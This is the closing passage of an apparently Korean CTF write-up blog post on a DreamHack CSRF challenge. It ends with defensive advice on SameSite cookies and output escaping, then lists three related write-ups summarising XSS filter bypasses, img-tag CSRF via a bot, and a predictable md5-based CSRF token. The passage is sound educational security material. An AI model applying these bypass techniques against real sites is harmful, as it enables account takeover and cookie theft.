์ฟ ํ‚ค์— SameSite=Lax/Strict๋ฅผ ๋ถ™์˜€๋‹ค๋ฉด ํฌ๋กœ์Šค ์‚ฌ์ดํŠธ ๋งฅ๋ฝ์˜ ์ž๋™ ์š”์ฒญ์— ์ฟ ํ‚ค๊ฐ€ ๋น ์ ธ ์ด๋Ÿฐ CSRF๊ฐ€ ํ•œ ๊ฒน ๋ง‰ํžŒ๋‹ค. ๋˜ frameยทscriptยทon๋งŒ ๋ณ„ํ‘œ๋กœ ๋ฐ”๊พธ๋Š” ์‹์˜ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ๋Š” <img>์ฒ˜๋Ÿผ ํ•ธ๋“ค๋Ÿฌ ์—†๋Š” ํƒœ๊ทธ๋ฅผ ๋ชป ๋ง‰๋Š”๋‹ค โ€” ์ถœ๋ ฅ์€ ๋ฌธ๋งฅ์— ๋งž๊ฒŒ ์ด์Šค์ผ€์ดํ”„ํ•˜๋Š” ๊ฒŒ ์ •์„์ด๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅ‰ Bronze 1] img ํ•œ ์ค„๋กœ ๋ด‡์„ ๋นŒ๋ ค ๋‚ด๋ถ€ ์ „์šฉ /admin ํ˜ธ์ถœํ•˜๊ธฐ โ€” DreamHack csrf-1 ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 1] img ํ•œ ์ค„๋กœ ๋ด‡์„ ๋นŒ๋ ค ๋‚ด๋ถ€ ์ „์šฉ /admin ํ˜ธ์ถœํ•˜๊ธฐ โ€” DreamHack csrf-1 ํ’€์ด

์™ธ๋ถ€์—์„œ ์ง์ ‘ ๋ถ€๋ฅด๋ฉด Access Denied์ธ /admin/notice_flag๋ฅผ, 127.0.0.1์—์„œ ๋„๋Š” ๋ด‡์˜ ๋ธŒ๋ผ์šฐ์ €๋กœ ๋Œ€์‹  ํ˜ธ์ถœํ•˜๊ฒŒ ๋งŒ๋“œ๋Š” ์ „ํ˜•์ ์ธ CSRF ๋ฌธ์ œ. scriptยทframeยทon์„ ๋ง‰๋Š” XSS ํ•„ํ„ฐ๋Š” img ํƒœ๊ทธ ํ•œ ์ค„์ด๋ฉด ๊ทธ๋ƒฅ ํ†ต๊ณผํ•˜๊ณ , ๋ด‡์ด ๊ทธ ์ด๋ฏธ์ง€๋ฅผ ๋กœ๋“œํ•˜๋ฉฐ flag๋ฅผ memo์— ์ ์–ด์ค€๋‹ค. ๊ทธ memo๋ฅผ ์ฝ์–ด ํ”Œ๋ž˜๊ทธ๋ฅผ ํšŒ์ˆ˜ํ•œ ๊ณผ์ •์„ ์ •๋ฆฌํ–ˆ๋‹ค.
#dreamhack#ctf#web+5
2026-06-20#dreamhack +7
[๐Ÿฅˆ Silver 4] ์ด๋ฏธ์ง€ ํƒœ๊ทธ ํ•˜๋‚˜๋ฉด ์ถฉ๋ถ„ํ–ˆ๋‹ค โ€” DreamHack CSRF Advanced ํ’€์ด
blog

[๐Ÿฅˆ Silver 4] ์ด๋ฏธ์ง€ ํƒœ๊ทธ ํ•˜๋‚˜๋ฉด ์ถฉ๋ถ„ํ–ˆ๋‹ค โ€” DreamHack CSRF Advanced ํ’€์ด

reflected ํŽ˜์ด์ง€์˜ XSS ํ•„ํ„ฐ๊ฐ€ frame/script/on ์„ธ ๋‹จ์–ด๋ฅผ '*'๋กœ ์ง€์šฐ์ง€๋งŒ, ์ •์ž‘ CSRF์— ํ•„์š”ํ•œ ๊ฑด <img src=...> ํ•˜๋‚˜๋ฟ์ด๋‹ค. ๊ฒŒ๋‹ค๊ฐ€ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณ€๊ฒฝ API์˜ CSRF ํ† ํฐ์ด md5(username+์ ‘์†IP)๋ผ์„œ, ๋ด‡์ด ํ•ญ์ƒ 127.0.0.1๋กœ ์ ‘์†ํ•œ๋‹ค๋Š” ์‚ฌ์‹ค๋งŒ์œผ๋กœ ํ† ํฐ์„ ๋ฏธ๋ฆฌ ๊ณ„์‚ฐํ•ด๋ฒ„๋ฆด ์ˆ˜ ์žˆ์—ˆ๋‹ค.
#dreamhack#ctf#web+4
2026-07-05#dreamhack +6
[๐Ÿฅ‰ Bronze 2] ๋Œ€์†Œ๋ฌธ์ž ํ•œ ๋—์œผ๋กœ ๋šซ๋Š” XSS ํ•„ํ„ฐ โ€” DreamHack XSS Filtering Bypass ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 2] ๋Œ€์†Œ๋ฌธ์ž ํ•œ ๋—์œผ๋กœ ๋šซ๋Š” XSS ํ•„ํ„ฐ โ€” DreamHack XSS Filtering Bypass ํ’€์ด

scriptยทonยทjavascript: ๋ฅผ ์ง€์šฐ๋Š” ํ•„ํ„ฐ๊ฐ€ ์žˆ๋Š”๋ฐ๋„, ๊ฒ€์‚ฌ๋Š” ์†Œ๋ฌธ์ž๋กœ ํ•˜๊ณ  ์น˜ํ™˜์€ ์›๋ณธ ๊ทธ๋Œ€๋กœ ํ•œ๋‹ค๋Š” ํ•œ ์ค„ ์ฐจ์ด ๋•Œ๋ฌธ์— <sCrIpt> ๊ฐ€ ๊ทธ๋Œ€๋กœ ์‚ด์•„๋‚จ๋Š”๋‹ค. ๋ด‡์ด ๋“ค๊ณ  ๋ฐฉ๋ฌธํ•˜๋Š” flag ์ฟ ํ‚ค๋ฅผ ๋™๊ธฐ XHR๋กœ /memo์— ํ˜๋ ค ํšŒ์ˆ˜ํ•œ ๊ณผ์ •์„ ์ •๋ฆฌํ–ˆ๋‹ค. location.href ๋น„๋™๊ธฐ ์ „์†ก์ด driver.quit ๋ ˆ์ด์Šค์— ๊ฑธ๋ ค ์‹คํŒจํ–ˆ๋˜ ์‚ฝ์งˆ๊นŒ์ง€ ๋‹ด์•˜๋‹ค.
#dreamhack#ctf#web+6
2026-06-26#dreamhack +6